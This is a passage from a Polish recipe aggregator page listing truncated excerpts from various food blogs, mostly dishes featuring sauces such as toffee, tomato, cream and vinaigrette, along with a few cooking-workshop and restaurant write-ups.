Rozlałam równomiernie ciasto i włożyłam do niego po połówce fig.   Piekłam ok 20 minut w 190 stopniach. Wyrosły pięknie i nie opadły. Wierzch posypałam cukrem pudrem, ale sosy toffi lub czekoladowy , nie wspominając malinowego będzie wspaniały

AZgotuj!
Babeczki z białek bez cholesterolu 270

ciast(k)a. Ciasto w środku jest bielunie i ma świetną teksturę. Jest nieco cięższe od  klasycznego biszkoptu na całych jajach. Dekoracja jaką tylko zamarzycie. Ja miałam jedynie sos toffi pod ręką, a jako, że była już późna pora nie poszłam po maliny, aby je udekorować . Ciastko inspirowane ciastem anielskim Marthy Stewart.  9 białek 9 łyżek drobnego cukru

AZgotuj!
Pieczona papryka z fetą 151

pieprz Papryki polane oliwą piekłam w folii ok 50 minut w 190 stopniach.  Kiedy lekko ostygły obrałam ze skórki.  Ułożyłam długie fileciki na półmisku wkruszyłam fetę polałam sosem spod papryk i chlustem oliwy. Na wierzch posypałam świeżo tarty pieprz

AZgotuj!
Suflety z twarożku ekologicznego 134

wysmarowania foremek  cukier trzcinowy do wysypania foremek Zacznij od wysmarowania foremek masłem i cukrem trzcinowym (po upieczeniu, kiedy będziesz jeść z masła i cukru zrobi się pyszny sos toffi) . Oddzieliłam żółtka od białek. Masło utarłam z wanilią i mąką ziemniaczaną. Do puszystej masy dodawałam na przemian twarożek i jogurt. Następnie dodałam 4 żółtka i starannie wymieszałam mikserem.  Teraz

AZgotuj!
Warsztaty w Siemens Akademia Smaku "Kawa. Świat w filiżance" + przepis na waniliowy krem kalafiorowy z kawą 212

raczej wchłaniałam zapach z unoszącej się pary. Boski zapach!!!  Tak prezentowały się polędwiczki wieprzowe. A efekt końcowy dostojnie prezentował się na talerzu. Pieczone polędwiczki wieprzowe z aromatycznym winnym sosem z czekoladą i kawą. Ja przy tym daniu zaniemówiłam. Mowę odebrała mi kompozycja smaków.  Kiedy skończyliśmy degustować przyrządzone dania, naszym zadanie było poczuć się kiperem smaku kawy. Pan Marcin

AZgotuj!
Warsztaty z Davidem Gaboriaud (Kuchnia.tv) w Soho Food Market 225

biała cześć pora uduszona na oliwie kminek feta Zostały nim nadziane pierożki w ciasto filo.  Do pierożków były sałaty ( do kupienia u Pana Ziółko miedzy innymi w Fortecy), sosy na bazie jogurtu oraz  flat bread  500 gram mąki 500 ml jogurtu szczypta kurkumy sól łyżeczka proszku do pieczenia Ze składników wprawne raczki powinny zagnieść ciasto. Porwać

AZgotuj!
Rosół z kaczki z boczniakiem królewskim 199

korpus z kaczki  skrzydełka kaczki marchew seler imbir świeży  gwiazdka anyżu goździk kawałeczek kory cynamonu sól kostka bulionowa zupy Pho ( do nabycia w sklepie azjatyckim) 3 łyżki sosu sojowego papryczka chili  makaron gryczany nać kolendry  2 świeże boczniaki królewskie  Korpus myjemy, zalewamy wodą. Gotujemy i odszumowujemy łyżką szumówką. Dodajemy przyprawy i pokrojone w paski warzywa

AZgotuj!
"Lizaki" wołowe ze szczawiem z grilla 209

szczyptą soli. Moja rada:  1. uważaj aby liście szczawiu się  spaliły                   Podawaj z pomidorkami, szpinakiem, oliwkami, kaparami lub sosami do maczania lub swoją ulubioną sałatką

AZgotuj!
Kule jaglane smażone ala arancini 190

Podane z salsą pomidorową, ale dzieci pewnie wybrałyby ketchup. Polecam różne nadzienia. Można schować w kuli jaglanej także warzywa np. brukselkę, szpinak, kawaek ryby. Podawać  z różnymi  sosami. Składniki:  2 szklanki ugotowanej kaszy jaglanej 2 jajka sól pieprz ser mozzarella lub feta ok 1 litr oleju rzepakowego do smażenia bułka tarta łyżeczka słodkiej papryki w proszku pomidory

AZgotuj!
Leczo z kluskami wątrobianymi 228

fasolki szparagowej 850 g cukinia (żółta, zielona) 290 g pieczarek 2 czerwone papryki 2 czerwone cebule 2-3 ząbki czosnku sól, pieprz szczypta imbiru puszka pomidorów bez skórki sos sojowy ciemny - do smaku 2 listki laurowe 4-5 ziarenek ziela angielskiego 4 kostki bulionu rosołowego  Gaździnka warzy papryka słodka i ostra 2 łyżeczki cukru Kluseczki: 440 g wątróbki

Gaździnka warzy
Kalarepy nadziewane białą kaszą gryczaną i kozim serem 258

naczyniu do zapiekania i wstawić do piekarnika nagrzanego do 190*C i piec przez 30min. Pod koniec posypać po wierzchu startym kozim serem. Smacznego :) RADA: Kalarepy można podać z sosem, ale same też dobrze smakują :) Kategoria: Dania bez glutenu , Obiad , WYTRAWNIE , Zapiekanki Tagged: kalarepa , kasza gryczana , kozi ser , kurczak

https:KKuchniaMniam
Pieczarki z kaszą jęczmienną i bobem 325

przeznaczeniem na grilla. Ja napełniłam je kaszą jęczmienną z bobem, obłożyłam plasterkami pomidora i upiekłam w piekarniku :) Są na tyle soczyste, że można je zjeść solo bez sosów, jako przystawka lub lekki obiad. SKŁADNIKI: 6 sztuk dużych pieczarek 1/2 szklanki kaszy jęczmiennej Mazurska Perłowa Średnia Kupiec 200g bobu 2 jajka sól pieprz czarny 2 łyżki siekanej natki pietruszki 1 pomidor

https:KKuchniaMniam
Kurczak w sosie śmietanowo - brokułowym 222

około 15 min.  Brokuł gotujemy w lekko osolonej wodzie około 10 min. Odcedzamy i dodajemy do reszty. Wlewamy wywar, dodajemy śmietanę i całość dusimy aż do uzyskania konsystencji sosu.  Dodajemy trochę startego sera i delikatnie mieszamy.  Podajemy z wcześniej ugotowanym makaronem. Posypujemy startym serem

Pan i Pani Smith w kuchni
Smażone krewetki 229

Uwielbiamy krewetki. Smażone, gotowane... w każdej postaci. Ten klasyczny sposób przygotowania, uważamy za najlepszy jaki do tej pory jedliśmy. Powstały podczas smażenia sos smakuje wyśmienicie z kruchą bagietką. Krewetki smażone w ten sposób,  przekonają osoby które nie przepadają za owocami morza. Serdecznie polecamy! Składniki:   - 500 g krewetek black tiger - papryczka chilli - 3-4 ząbki czosnku -  pęczek natki

Pan i Pani Smith w kuchni
Zupa krem z pieczonych buraków 214

obieramy je ze skórki i kroimy na mniejsze kawałki. W garnku na oliwie z oliwek smażymy posiekaną cebulę. Dodajemy pokrojony czosnek i tymianek. Chwilę smażymy Następnie dodajemy pokrojone buraki, sos z połowy pomarańczy i łyżeczkę soku z cytryny. Zalewamy wywarem jarzynowym i gotujemy przez 15- 20 minut.  Doprawiamy solą i pieprzem. Blendujemy na gładki krem i przecieramy przez sitko

Pan i Pani Smith w kuchni
Szaszłyki z serem halloumi, kurczakiem i warzywami 229

Grillować ok. 10 min, aż kurczak będzie gotowy, obracać co jakiś czas, żeby usmażyły się z każdej strony.  Przez większość czasu grillować pod przykryciem. Ja podawałam z ryżem, sosem czosnkowym i zieloną sałatką. Przepis brał udział w akcji Grill

Corner With Recipes
Zwiebelkuchen z musztardą 171

tłuszczu, chodzi mi tylko o ten wyjątkowy smaczek boczku w daniu) będzie pasować musztarda. Nie spodziewałam się jednak, że to będzie, aż tak udane połączenie. Musztarda indiańska ciekawie zabarwiła sos i nadała smaku, a rosyjska wyostrzyła danie. Po zrobieniu zdjęć, placek zniknął bardzo szybko i został tylko wspomnieniem ;) Składniki (forma o śr. 30 cm): Ciasto: - 2 szklanki mąki pełnoziarnistej - kilka

Corner With Recipes
Pita z kurczakiem i kurkami 212

Dodać umyte kurki. Zmniejszyć gaz, mieszać. Poddusić przez ok. 10 minut, co chwilę mieszając. Dodać jogurt naturalny, wymieszać dokładnie, ewentualnie doprawić. Pity podgrzać. Dodać sałatę, na to kukurydzę i sos kurczakowo-kurkowy. Przepis brał udział w akcji Kuchnia 24/7

Corner With Recipes
Makaron w pomidorowo-sardynkowym sosie 199

jest bardzo szybkie do przygotowania, idealne na zabiegany dzień. Składniki (dla 3 osób): - 300 g makaronu spaghetti pełnoziarnistego - 200 g pomidorów krojonych (z puszki/z kartonika) - 125 g sardynek w sosie pomidorowym - 1 cebula - 2 ząbki czosnku - czarne oliwki - olej rzepakowy - sól, pieprz, bazylia, papryka słodka, chili cayenne Cebulę i czosnek drobno pokroić. Cebulę zeszklić na oleju, pod koniec dodać czosnek

Corner With Recipes
Kakaowa owsianka z malinami 171

szklankę wody, gotować od momentu zagotowania na małym ogniu ok. 25-30 minut. W połowie gotowania dodać kakao. W osobnym garnku podgrzać maliny, tak długo, aż będą miały konsystencję sosu. Dodać łyżeczkę miodu. Dodać do gotowej owsianki, wymieszać, dodaj cukier brązowy i podawać. *Można użyć błyskawicznych, ale są mniej zdrowe. Pomijamy wtedy etap moczenia płatków przez

Corner With Recipes
Farfalle (kokardki) z kurczakiem i szparagami w białym sosie 181

jednak przyznać, że ostatnio zdradzam makarony z brązowym ryżem, tak bardzo zaczął mi smakować. Jednak o ryżu innym razem, dzisiaj zostawiam was z makaronem, szparagami i mało grzesznym białym sosem :) Składniki (3 porcje): - 250 g makaronu farfalle (kokardki0 pełnoziarnistego - 1 pierś z kurczaka - 1/2 pęczka szparagów - 1 cebula - 1 ząbek czosnku - kilka plasterków kiełbasy/ 2 plasterki wędliny - 4 łyżki jogurtu

Corner With Recipes
Penne z cukinią i miętą na ostro 188

chwili dodaj cukinię i podsmażaj kolejne 3 minuty. Na koniec dodaj pomidora i całość przypraw solą, pieprzem, ulubionymi przyprawami i pokruszonymi papryczkami peperoncino. Na talerz wyłóż makaron, polej sosem, posyp pokruszoną fetą, pestkami dyni i miętą

Corner With Recipes
Sos z cukinii i fasolki szparagowej na bazie paprykowo-pietruszkowego pesto 181

pesto . Danie to posiada tyle smaków, że nawet sceptycznie nastawieni do cukinii i kaszy narzekali na zbyt małe porcje ;). Pyszne i pełne zdrowia danie, już trzykrotnie przygotowywane przeze mnie. Sos z cukinii i fasolki szparagowej na bazie paprykowo-pietruszkowego pesto Składniki (4 porcje): - 0,5 kg fasolki szparagowej - 1 cukinia - 4 łyżki pesto paprykowo-pietruszkowego ( klik! ) - 2 szklanki przecieru pomidorowego

Corner With Recipes
Falafele z pieca - idealne 166

głębokim tłuszczu. Pisaliście, że można je też upiec, postanowiłam spróbować. Efekt mnie zachwycił, przepis zmieniłam i myślę, że teraz będę robić falafele dużo częściej. Do falafeli przygotowałam dwa sosy: tzatziki i pomidorowy, pełnoziarnisty kuskus z ziołami, sałatę lodową z pomidorkami daktylowymi i rukolą. Mieszając wszystko razem powstał pyszny obiad. Zrobiłam je w formie kotlecików, a nie okrągłe, żeby lepiej się

Corner With Recipes
Pieczona ciecierzyca z pomidorowym sosem i jajkiem, czyli zestaw śniadaniowy 206

oliwek - 2 małe jajka - sól, pieprz do smaku, bazylia suszona, papryka słodka Ciecierzycę wymieszaj z pesto, pokrojoną kiełbasą, oliwkami. Dopraw solą, pieprzem i ziołami. Przełóż do kokilek i polej sosem pomidorowym. Rozbij po jajku do każdej kokilki. Piecz 15-20 w 180 stopniach, w zależności od tego jakie jajka lubicie

Corner With Recipes
Sałatka śledziowa z burakami 213

stopniach.  Cebulę i ogórki pokrój w kostkę. Śledzia pokrój na mniejsze kawałki. Wymieszaj dokładnie majonez, miód, olej. Dodaj przyprawy. Wymieszaj cebulę, ogórki,śledzia i buraki. Dodaj sos i ponownie wymieszaj. Sałatkę najlepiej podawać schłodzoną

Corner With Recipes
Łosoś pieczony w cieście filo z sosem pomidorowym 199

przetnij na 4 części (na pół i jeszcze raz na pół). Ułóż na sobie 3-4 kawałki ciasta filo do środka włóż kawałek łososia, posmaruj z obu stron czerwonym sosem (po 2 łyżeczki na kawałek). Zawiń np. tak jak krokiety, posmaruj z wierzchu odrobiną tłuszczu. Piecz ok. 25 minut w 180 stopniach, przez pierwsze 15 minut pod przykryciem z folii

Corner With Recipes
Pieczone filety z kurczaka w musztardzie i migdałach (bez glutenu) 403

Dodaj przyprawy i ponownie wymieszaj. W osobnej filiżance wymieszaj sezam, siemię lnianę i mielony len. Blaszkę do pieczenia wyłóż papierem do pieczenia/folią, filety posmaruj z obu stron musztardowym sosem, obtocz w siemieniowej panierce a na koniec posyp płatkami migdałów*. Piecz ok. 20 minut w 180 stopniach. Podałam z pieczonymi ziemniaczkami** i kolorową sałatką. * Płatki migdałów dość szybko się przypiekają

Corner With Recipes
Spaghetti z sosem z czerwonej soczewicy, szpinaku i tajską pastą curry 211

czasie dodaj wodę, wymieszaj i dodaj szpinak. Duś przez kolejne 10 minut, a na koniec dodaj pokruszoną fetę i mieszaj, aż konsystencja będzie kremowa. Ugotowany makaron polej sosem i posyp czymś chrupkim (podprażone pestki dyni, słonecznika, sezam

Corner With Recipes
Biała Trufla - restauracja Szczecin 210

suszonymi pomidorami) z pesto. Wszystko na duży plus. Dania główne za to były przepyszne, powyżej sandacz w cukinii z nori i makaronem somen. Smaki się idealnie komponowały, pyszna ryba, sosy. Tutaj rozpływający się w ustach kurczak zagrodowy w miodzie pitnym z idealnie przygotowanymi szparagami, grillowanym bakłażanem i chrupiącymi pestkami granatu. Nigdy nie jadłam tak smacznego kurczaka. Wszystkie mięsa i ryby

Corner With Recipes
Farsz jak z samosy (ziemniaki i zielony groszek) zapakowany w ciasto filo 218

groszek, tak jak w przepisie poniżej. Takie nadzienie owinęłam w niezastąpione dla mnie ciasto filo. Gotowe, niskokaloryczne i pysznie chrupiące po upieczeniu. Taką przekąskę fajnie byłoby podać z sosem jogurtowo-miętowym czy pomidorowym. Składniki (ok. 14 małych porcji): - 2 tłuczone ziemniaki - 1/2 szklanki zielonego groszku - 1 cebula - 1 łyżeczka kuminu - 1 łyżeczka zielonego chili - 1 łyżeczka papryki słodkiej - sól

Corner With Recipes
W poszukiwaniu ciekawych przepisów... #1 239

pominęłam parmezan, więc nie zrobiłam takiego prawdziwego pesto, ale zrobiłam to celowo. Szczerze mówiąc nie brakowało mi parmezanu, myślę, że w wersji wegańskiej można dodać troszkę płatków drożdżowych i sosu sojowego, zrobię tak następnym razem i napiszę czy się sprawdziło. 2) Raw-tagliatelle z marchewki od MniuMniu To danie musi być super, nie wiem dlaczego jeszcze nie wypróbowałam, ale zrobię

Corner With Recipes
Zupa z botwinki z ziemniakami 176

sprawia, że nie gotuję wtedy drugiego dania. Jest jeszcze jeden plus, ekonomiczny, zupy gotujemy zwykle na dwa dni. Zobaczcie także inne przepisy z botwinką: Botwinka z cukinią w delikatnym sosie   Zgrzewane kanapki z liśćmi botwinki Zupa z botwinki z ziemniakami Składniki: pęczek botwinki z dużymi buraczkami 3 podudzia z kurczaka kilka ząbków czosnku 3 marchewki 1/3 selera 2 pietruszki

Moja smaczna kuchnia
Bitki z karczku 160

obsmażamy je z każdej strony. Podsmażone kotlety oprószmy mąką z każdej strony, dokładamy cebule, zalewamy bulionem i dusimy do miękkości. W tym czasie bulion zgęstnieje i zrobi się sos. W razie potrzeby jeszcze doprawić. Oryginalny przepis znajduje się tutaj

Moja Galeria Smaku
Tartaletki z kurkami 165

części i wypełnić tartaletki (posmarowane wcześniej masłem). Ponakłuwac spod i włożyć do rozgrzanego do 200 stopni piekarnika na 10 minut. Wyjąc, napełnić farszem z kurek, na wierzch wylać sos śmietanowy. Piec kolejne 15 minut. Smacznego! Przepis z modyfikowany ze strony Crust&Dust

Moja Galeria Smaku
Sałatka z melona i kiwi 163

kiwi i melona, pokroić na kawałki. Winogrono przekroić na pół i wypestkować. Włożyć owoce do miski. W drugim naczyniu wycisnąć sok z limonki, dodać cynamon i cukier. Polać sosem sałatkę. Smacznego

Moja Galeria Smaku
Domowe bulionetki 197

blogu Lepszy Smak na domowe warzywne bulionetki. Przepis jest prosty, polega na zmieleniu warzyw. Można go posolić, bądź też wykonać wersję bez soli. Idealna baza do zup i sosów. Warzywa oraz użyte zioła można dowolnie miksować według swojego uznania. Składniki: 4 marchewki (około 180 g*) 2 pietruszki (około 80 g*) 1/2 selera (około 80 g*) 1 por (biała część około

Moja Galeria Smaku
Makaron ze szpinakiem i sosem serowym 161

łyżkę masła wraz z 2 łyżkami oleju z pomidorów. Podsmażamy czosnek razem z pomidorami. Dodajemy szpinak, jak zwiędnie wlewamy śmietankę i ser pleśniowy. Gotujemy chwile, aż zrobi się sos. Doprawiamy białym pieprzem i solą. Podajemy z ugotowanym makaronem. Inspiracja

Moja Galeria Smaku
Pieczony kurczak z soczewicą 192

natkę pietruszki. Dodać białe wino i szpinak. Dusić około 10 minut. W razie potrzeby podlać wodą. Soczewicę podawać razem z kurczakiem, całość można polać pozostałym z pieczenia kurczaka sosem. Źródło

Moja Galeria Smaku
Zapiekanka z ziemniaków i warzyw 156

wodzie przez 8 minut. Odcedzić. Paprykę pokroić. W naczyniu żaroodpornym ułożyć ziemniaki, kalafior i paprykę. W osobnym naczyniu wymieszać 200 ml wody z śmietaną 30%, bulionem i przyprawami. Polać sosem warzywa, ser żółty porwać na kawałki i ułożyć na warzywach. Piec w 150 stopniach przez 25 minut potem dodać termoobieg lub zwiększyć temperaturę do 180 stopni i piec kolejne

Moja Galeria Smaku
Makaron w sosie pietruszkowym 169

Makaron w sosie pietruszkowym. Obiad w 10 minut. Szybko, tanio i smacznie!  Natka pietruszki jest bardzo zdrowa, zawiera 4 razy więcej witaminy C niż pomarańcze. Ponadto ma właściwości antyseptyczne, wpływa pozytywnie na proces trawienia i zapobiega infekcjom układu moczowego. Zawarta w natce pietruszki prowitamina A dobrze działa na wzrok.  Składniki na 2 porcje: z przepisu Olga Smile

Moja Galeria Smaku
Marynowany por z mozzarellą 171

rondelku wymieszać ocet z cukrem, zagotować. Zdjąć z ognia, dodać oliwę.  3. Pory pokroić na paski. Ułożyć na talerzu na przemian z pokrojoną mozzarellą, polać sosem. Odłożyć do lodówki na 30 minut.  4. Przed podaniem doprawić solą i pieprzem

Moja Galeria Smaku
Kurczak curry ze szpinakiem 423

Filety z piersi kurczaka w kremowym sosie z curry, mleczkiem kokosowym i szpinakiem. Smaczne danie w stylu indyjskim. Składniki na 2 porcje: 2 filety z kurczaka 1 cebula 2 pomidory 1 ząbek czosnku 2 łyżki masła 1 łyżeczka curry 1 łyżeczka mąki 400 ml mleczka kokosowego spora garść świeżego szpinaku sól , pieprz Do podania: 100 g ugotowanego ryżu 1. Cebulę

Moja Galeria Smaku
Tort makaronowy bolognese 194

Tort w wersji wytrawnej, czemu nie? :) Myślę, że niejednego zachęci do spróbowania. Makaron zapiekany z boczkiem i mięsem wieprzowym w sosie pomidorowym. Zapieczone pod serową pierzynką. Osoby dbające o linię, proszę przymknąć oczy :) Inspiracja zaczerpnięta z jednej z kobiecych gazet. Składniki na 4 porcje (tortownica o średnicy 21 cm) : 100 g wędzonego boczku 2 marchewki 1 cebula 1 ząbek czosnku

Moja Galeria Smaku
Surówka z rzodkiewek 171

Surówka z rzodkiewek, żółtej papryki i marchewki. Doprawiona koperkiem i sosem winegret. Świetna jako dodatek do mięs lub samodzielna przekąska. Składniki: 2 pęczki rzodkiewek 1 żółta papryka 3 marchewki 1 łyżka posiekanego koperku 3 łyżki oliwy 1 łyżka soku z cytryny 2 łyżeczki cukru brązowego pieprz, sól do smaku 1. Rzodkiewkę i paprykę pokroić w paski. Marchewkę zetrzeć na tarce

Moja Galeria Smaku
Sałatka z rukolą, mango i truskawkami 225

Sałatka z rukolą, mango, truskawkami i cebulą dymką w kolendrowym sosie winegret. Jeżeli lubicie połączenie owoców z zieleniną to ta sałatka będzie Waszą ulubioną :) Lubię dodawać do sałatek owoce, bo oprócz walorów smakowych dodają koloru i od razu chce się je jeść. Nie od dziś wiadomo, że je się również oczami :) Sałatka jest lekka i szybka w przygotowaniu. Wystarczy pokroić

Moja Galeria Smaku
Pomidory faszerowane makaronem i mozzarellą 207

Pomidory faszerowane makaronem w sosie pomidorowym, całość zapieczona z mozzarellą. Propozycja na obiad lub ciepłą kolację. Coś dla wegetarian i wielbicieli makaronu ;) Składniki na 6 sztuk: przepis zmodyfikowany z magazynu Kocioł 6 pomidorów 70 g drobnego makaronu (ja użyłam kokardek) 1 cebula 2 ząbki czosnku 1 kulka mozzarelli 5 łyżeczek koncentratu pomidorowego sól, pieprz kilka listów bazylii 2 łyżki oliwy

Moja Galeria Smaku
Jaglanka na mleczku kokosowym z żurawiną 158

jaglanej Kaszę jaglaną opłukać. Włożyć do rondelka zalać mlekiem oraz połową mleczka kokosowego, dodać ksylitol. Zagotować, zmniejszyć gaz i gotować pod przykryciem 18 minut. Dolać resztę mleczka kokosowego. Wymieszać. Sos żurawinowy: 50 g żurawiny (świeżej lub mrożonej) 4 łyżki soku żurawinowego lub malinowego  1/2 łyżki ksylitolu lub 1 łyżka cukru Żurawinę wraz z cukrem przełożyć do rondelka. Po zagotowaniu

Moja Galeria Smaku
Pizza z tortilli wg Anny Starmach 198

Piekarnik rozgrzać do 190 stopni. Placek tortilli posypać tartym żółtym serem i położyć na nim drugi placek. W miseczce wymieszać koncentrat, oliwę i tymianek. Doprawić solą i pieprzem. Powstałym sosem posmarować tortillę. Ułożyć plasterki szynki i mozzarelli. Piec przez 10-12 minut. Sałatę umyć, porwać na kawałki. Pomidorki pokroić na cząstki, Marchewkę obrać, pokroić w plasterki. Kukurydzę odsączyć. Ułożyć wszystkie

Moja Galeria Smaku
Czekoladowy pudding z tapioki 169

skrobi otrzymywanej z manioku. Wyglądem przypomina kulki ze styropianu, które po ugotowaniu robią się przeźroczyste. Tapioka jest produktem bezglutenowym, idealna będzie więc dla alergików. Najczęściej przygotowuje się z niej sosy, puddingi, kisiele czy też sławne bubble tea.  Jeżeli lubicie puddingi z chia to myślę, że i ten przypadnie Wam do gustu.  Składniki na 2 porcje: 1/4 szklanki tapioki

Moja Galeria Smaku
Ciecierzyca w sosie pomidorowym 156

przykryciem 1h.  Na patelni rozgrzać olej, dodać cebulę i czosnek. Smażyć 3 minuty. Dodać pomidory, bulion, oregano, słodką i ostrą paprykę. Dusić przez około 10 minut, aż sos zgęstnieje. Doprawić solą i pieprzem oraz cukier, jeśli to konieczne. Dodać ciecierzycę. Dusić jeszcze 3 minuty. Na sam koniec dodać natkę pietruszki. Podawać z ugotowanym ryżem. Inspiracja

Moja Galeria Smaku
Makaron z ciecierzycą w sosie pomidorowym 185

chilli, słodką paprykę, tymianek, bazylię, oregano i pomidory. Doprawić solą, pieprzem i cukrem. Smażyć przez 5 minut. Dodać cieciorkę i smażyć kolejne 5 minut. Na talerze nałożyć makaron, polać sosem, posypać pokruszoną fetą. Gotowe

Moja Galeria Smaku
Sałatka z marchewki i fasolki 196

przesmażyć na tej samej patelni co marchewki. Wymieszać w miseczce z fasolką. Do pozostałej na patelni oliwy dodać wodę, miód, sok z cytryny, sól, pieprz i chilli. Zagotować. Powstałym sosem polać sałatkę. Słonecznik uprażyć na czystej, suchej patelni. Dodać do sałatki. Smacznego

Moja Galeria Smaku
Pieczony łosoś 189

obrać, pokroić na plasterki. Ugotować w osolonej wodzie przez 5 minut. Odcedzić. Ziemniaki ułożyć na spodzie naczynia żaroodpornego. W miseczce wymieszać jajka ze śmietaną, doprawić sola i pieprzem. Polać sosem ziemniaki. Łososia umyć, osuszyć, w razie potrzeby pokroić na kawałki. Posypać przyprawą do ryb, solą i pieprzem. Obok ułożyć pomidorki koktajlowe. Piec w 180 stopniach przez 20 minut. Inspiracja

Moja Galeria Smaku
Marchewka z ciecierzycą po marokańsku 206

Wegetariański obiad, z aromatycznymi przyprawami w marokańskim stylu. Młoda marchewka duszona w sosie pomidorowym, z dodatkiem ciecierzycy i kuskusu. Całość dopełnia świeża mięta oraz kolendra. Składniki na 3 porcje: 1 cebula 2 łyżki oleju 2 ząbki czosnku przyprawy: 1/2 łyżeczki słodkiej papryki,  mielonej  kolendry, kminu, imbiru; 1/3 łyżeczki chilli 1 puszka pomidorów 200 ml bulionu warzywnego kilka sztuk

Moja Galeria Smaku
Bruschetta z pomidorami i brzoskwiniami 177

Propozycja na śniadanie lub jako przekąska do mięsa z grilla. Polecam! Składniki: 1 bagietka 2 pomidory kilka sztuk pomidorków koktajlowych 1 duża brzoskwinia garść świeżej bazylii 2 ząbki czosnku sos balsamiczny 2-3 łyżeczki oliwy Bagietkę pokroić na kawałki. Piekarnik rozgrzać do 180 stopni. Bagietki popryskać/natrzeć oliwą. Piec, aż będą złote i chrupiące (około 7 minut).  Czosnek

Moja Galeria Smaku
Deser malinowo-śmietankowy z bazylią 183

śmietankowych 200 ml mleka garść świeżej bazylii W rondelku zagotować maliny z cukrem. Do wrzących malin dodać wino wymieszane z mąką ziemniaczaną. Ciągle mieszając trzymać chwilę na ogniu, aż sos zgęstnieje. Lody zmiksować z bazylia i mlekiem. Na dno pucharka wyłożyć maliny, następnie wylać mieszankę lodową. Przyozdobić malinami i bazylią. Smacznego! * niech Was nie zmyli mięta użyta do dekoracji, wypadek

Moja Galeria Smaku
Rolada z sarniny 167

cebulą. Rolady zalać wodą, dodać resztę przypraw, wymieszać. Doprowadzić do wrzenia i gotować 2,5 - 3 godziny aż mięso będzie miękkie. Śmietaną wymieszać z mąką i dodać do sosu. Doprowadzić do wrzenia, gotować ok. 5 minut i doprawić solą i pieprzem

Mama Gotuje
WROCŁAW I FESTIWAL FOODTRUCKÓW 245

różne pyszności. Jak na przykład my :)     Skusiliśmy się na azjatyckie bułeczki na parze, przyrządzane w specjalnych "koszach" bambusowych. Mięciutkie, puszyste i fajnie nadziane. Do tego pyszne sosy: imbirowy (słodko-słono-kwaśny i dość pikantny), chili słodko-kwaśny (taki standardowy, również nardzo ostry) oraz wietnamski curry kremowy (wyrazisty, a jednocześnie delikatny, także nieco pikantniejszy).  Z krewetkami

W kuchni Karmel-itki
DROBIOWA ZAPIEKANKA Z POREM I PAPRYKĄ 378

Szybka drobiowa zapiekanka to takie jednogarnkowe danie zawierające w sobie kurczaka, ziemniaki i śmietanowy sos.  Jeśli nie chce nam się robić każdej z tych rzeczy oddzielnie polecam właśnie taką prostą zapiekankę.  Zasmakuje Wam na pewno :)) Składniki: 500g piers i z kurczaka 2 łyżki oleju 2 ziemniaki 1 por 1/2 czerwonej papryki sól pieprz ostra papryka 200ml kwaśnej śmietany

Walijskie Pichcenie
Salsa z mango i chili 224

Inspiracja: przepis z przyprawy Chili Kamis :) 1 dojrzałe mango 1/2 małej papryczki chili ( bez pestek ) 1/2 czerwonej cebuli Sos miodowo-musztardowy: 2 łyżki soku z cytryny 1/2 łyżeczki imbiru 1 i 1/2 łyżeczki cukru pudru 2 łyżki posiekanej natki pietruszki Papryczkę i cebulę pokroić w bardzo drobną kostkę. Mango obrać, pokroic w drobną kostkę i wszystko wymieszać. Dodać

Atlas Smaków
Kalafior w przecierze pomidorowym pasteryzowany do słoików na zimę 162

Proste w wykonaniu ale za to jakie pyszne i przydatne przez cały rok! W zimie wspaniale nadaje się do zup/ sosów, należy tylko pamiętać aby dodać do ugotowanej zupy (lekko podgrzewając). Składniki: 1 kg kalafiora, 75 dag pomidorów. Wykonanie: Dojrzałe pomidory umyć, pokroić i podgrzewając w garnku rozmiękczyć , często mieszając. Następnie przetrzeć przez sito i odstawić. W między czasie kalafior

Tradycyjna Kuchnia
Królowa sałat 242

kawałki, przekładamy do miski skropimy sokiem z  cytryny, lekko solimy. Jogurt mieszamy razem ze śmietaną dodajemy posiekany drobniutko czosnek, szczypiorek. Wsypujemy cukier, sól oraz pieprz do smaku. Polewamy sosem sałatę, delikatnie mieszamy, posypujemy posiekanym koperkiem. Dekorujemy pomidorami koktajlowymi. Smacznego

kgwjanczewo
Pappardelle z mulami w winnym pomidorowym sosie 229

temu nie wiedziałam nawet jak smakują, życie płata figle. Teraz zapraszam na pyszny obiad wszystkich którzy tak jak my owoce morza uwielbiają. Pappardelle z mulami w winnym pomidorowym sosie. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Kiełbaski grillowane w pikantnej glazurze 250

Pyszny sposób na urozmaicenie grilla - przepis na grillowaną kiełbasę w ostrej glazurze :) SKŁADNIKI 8 kiełbasek grillowych 1 szklanka ostrego keczupu 2 łyżki płynnego miodu 2 łyżki sosu sojowego 2 ząbki czosnku przeciśnięte przez praskę 1 łyżeczka ostrej papryki 1 łyżeczka imbiru w proszku PRZYGOTOWANIE Keczup mieszamy z pozostałymi składnikami glazury.  Kiełbaski nacinamy i podpiekamy na grillu.  Smarujemy glazurą

Moje Kuchenne Rewelacje
Curry z łososiem i makaronem ryżowym 225

Aromatyczny, gęsty, pikantny sos na bazie mleczka kokosowego, z łososiem, warzywami i makaronem ryżowym. Jeśli nie macie czasu lub ochoty spędzać długich godzin w kuchni, ale chcielibyście po powrocie do domu zjeść sycący, gorący obiad lub kolację to jest to danie idealne! Przygotowuje się je w 15 minut, jest pyszne i z pewnością zaspokoi apetyt nawet największego głodomora. Polecam zapracowanym

Smakowity Blog Kulinarny
Placuszki z kurczaka z fasolką mung 178

Smaczne placuszki z chińską fasolką mung. Idealne również na zimno z sosem czosnkowym. 4 jajka 0,5 szklanki fasolki mung 1 łyżeczka przyprawy do kurczaka 400 g filetu z piersi kurczaka 2 duże cebule 6 pieczarek Sól Pieprz Dzień wcześniej przygotowujemy fasolkę. Zalewamy ją ok. 1,5 szklanki wrzątku i odstawiamy na 2-3 godziny. Po tym czasie gotujemy

VioletoweKucharzenie
PASTA Z CUKINII 189

Przepyszna pasta, idealna jako baza-sos do pizzy,świetnie smakuje też jako dodatek do kanapki. To świetny sposób na wykorzystanie nadmiaru cukinii z którą nie wiemy co zrobić. Polecam!   Składniki: 1,5 kg cukinii 0,5 kg cebuli 1 łyzka soli 2 szkl cukru 1 szkl octu 0,5 łyżki ostrej papryki 1 łyżka słodkiej papryki 1 łyżeczka pieprzu

Z Majeczką w kuchni
KRÓLEWSKIE ŚNIADANIE - RACUCHY Z OWOCAMI I SOSEM CZEKOLADOWYM 190

